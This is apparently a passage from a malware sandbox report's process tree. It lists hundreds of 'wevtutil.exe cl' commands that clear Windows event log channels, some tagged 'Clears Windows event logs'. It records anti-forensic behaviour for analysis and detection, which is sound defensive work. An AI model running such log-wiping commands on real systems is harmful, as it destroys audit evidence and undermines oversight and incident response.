C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnosis-MSDE/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Debug"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnosis-PLA/Debug"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnosis-PLA/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnosis-Perfhost/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnosis-Scheduled/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Admin"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Operational"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider/Debug"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider/Operational"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnosis-TaskManager/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnosis-WDC/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnosis-WDI/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnostics-Networking/Debug"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnostics-Networking/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnostics-PerfTrack-Counters/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnostics-PerfTrack/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Diagnostic/Loopback"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Direct3D10/Analytic"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Direct3D10_1/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Direct3D11/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Direct3D11/Logging"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Direct3D11/PerfTiming"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DirectShow-KernelSupport/Performance"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DirectSound/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DirectWrite-FontCache/Tracing"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DirectWrite/Tracing"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Disk/Operational"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DiskDiagnostic/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DiskDiagnosticDataCollector/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DiskDiagnosticResolver/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DisplayColorCalibration/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DisplayColorCalibration/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DisplaySwitch/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Documents/Performance"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DriverFrameworks-UserMode/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DxgKrnl/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DxgKrnl/Performance"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DxpTaskRingtone/Analytic"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DxpTaskSyncProvider/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-EFS/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-EapHost/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-EapHost/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-EapHost/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-EaseOfAccess/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-EventCollector/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-EventCollector/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-EventLog-WMIProvider/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-EventLog/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-EventLog/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-FMS/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-FMS/Debug"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-FMS/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-FailoverClustering-Client/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Fault-Tolerant-Heap/Operational"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Feedback-Service-TriggerProvider"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-FileInfoMinifilter/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Firewall-CPL/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Folder Redirection/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Forwarding/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Forwarding/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-GettingStarted/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-GroupPolicy/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-HAL/Debug"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-HealthCenter/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-HealthCenter/Performance"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-HealthCenterCPL/Performance"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Help/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-HomeGroup Control Panel Performance/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-HomeGroup Control Panel/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-HomeGroup Listener Service/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-HomeGroup Provider Service Performance/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-HomeGroup Provider Service/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-HomeGroup-ListenerService"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-HotStart/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-HttpService/Trace"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-IKE/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-IKEDBG/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-IPBusEnum/Tracing"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-IPSEC-SRV/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-International-RegionalOptionsControlPanel/Operational"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-International/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Iphlpsvc/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Iphlpsvc/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Iphlpsvc/Trace"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-Acpi/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-Boot/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-BootDiagnostics/Diagnostic"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-Disk/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-EventTracing/Admin"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-EventTracing/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-File/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-Memory/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-Network/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-PnP/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-Power/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-Power/Thermal-Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-Power/Thermal-Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-Prefetch/Diagnostic"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-Process/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-Processor-Power/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-Registry/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-StoreMgr/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-StoreMgr/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-WDI/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-WDI/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-WDI/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-WHEA/Errors"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Kernel-WHEA/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Known Folders API Service"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-L2NA/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-LDAP-Client/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-LUA-ConsentUI/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-LanguagePackSetup/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-LanguagePackSetup/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-LanguagePackSetup/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-MCT/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-MPS-CLNT/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-MPS-DRV/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-MPS-SRV/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-MSPaint/Admin"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-MSPaint/Debug"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-MSPaint/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-MUI/Admin"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-MUI/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-MUI/Debug"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-MUI/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-MediaFoundation-MFReadWrite/SinkWriter"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-MediaFoundation-MFReadWrite/SourceReader"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-MediaFoundation-MFReadWrite/Transform"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-MediaFoundation-PlayAPI/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-MemoryDiagnostics-Results/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-MobilityCenter/Performance"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-NCSI/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-NCSI/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-NDF-HelperClassDiscovery/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-NDIS-PacketCapture/Diagnostic"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-NDIS/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-NDIS/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-NTLM/Operational"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-NWiFi/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Narrator/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-NetShell/Performance"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Network-and-Sharing-Center/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-NetworkAccessProtection/Operational"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-NetworkAccessProtection/WHC"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-NetworkLocationWizard/Operational"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-NetworkProfile/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-NetworkProfile/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Networking-Correlation/Diagnostic"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-NlaSvc/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-NlaSvc/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-OLEACC/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-OLEACC/Diagnostic"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-OOBE-Machine/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-OfflineFiles/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-OfflineFiles/Debug"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-OfflineFiles/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-OfflineFiles/SyncLog"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-OneX/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-OobeLdr/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-PCI/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-ParentalControls/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-PeerToPeerDrtEventProvider/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-PeopleNearMe/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-PortableDeviceStatusProvider/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-PortableDeviceSyncProvider/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-PowerCfg/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-PowerCpl/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-PowerEfficiencyDiagnostics/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-PowerShell/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-PowerShell/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-PrimaryNetworkIcon/Performance"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-PrintService/Admin"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-PrintService/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-PrintService/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Program-Compatibility-Assistant/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-QoS-Pacer/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-QoS-qWAVE/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-RPC-Proxy/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-RPC/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-RPC/EEInfo"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-ReadyBoost/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-ReadyBoost/Operational"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-ReadyBoostDriver/Analytic"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-ReadyBoostDriver/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Recovery/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-ReliabilityAnalysisComponent/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-RemoteApp and Desktop Connections/Admin"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Admin"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Tracing"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Admin"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Remotefs-UTProvider/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Resource-Exhaustion-Detector/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Resource-Exhaustion-Resolver/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Resource-Leak-Diagnostic/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-ResourcePublication/Tracing"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-RestartManager/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Search-Core/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Search-ProtocolHandlers/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Security-Audit-Configuration-Client/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Security-Audit-Configuration-Client/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Security-IdentityListener/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Security-SPP/Perf"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Sens/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-ServiceReportingApi/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Services-Svchost/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Services/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Setup/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-SetupCl/Analytic"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-SetupQueue/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-SetupUGC/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-ShareMedia-ControlPanel/Diagnostic"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-BootAnim/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-Common/Diagnostic"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-CredUI/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-Logon/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-PasswordProvider/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-Shutdown/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Shell-Core/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Shell-DefaultPrograms/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Shell-Shwebsvc"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Shell-ZipFolder/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Shsvcs/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Sidebar/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Speech-UserExperience/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Spell-Checking/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-SpellChecker/Analytic"4⤵
-
-
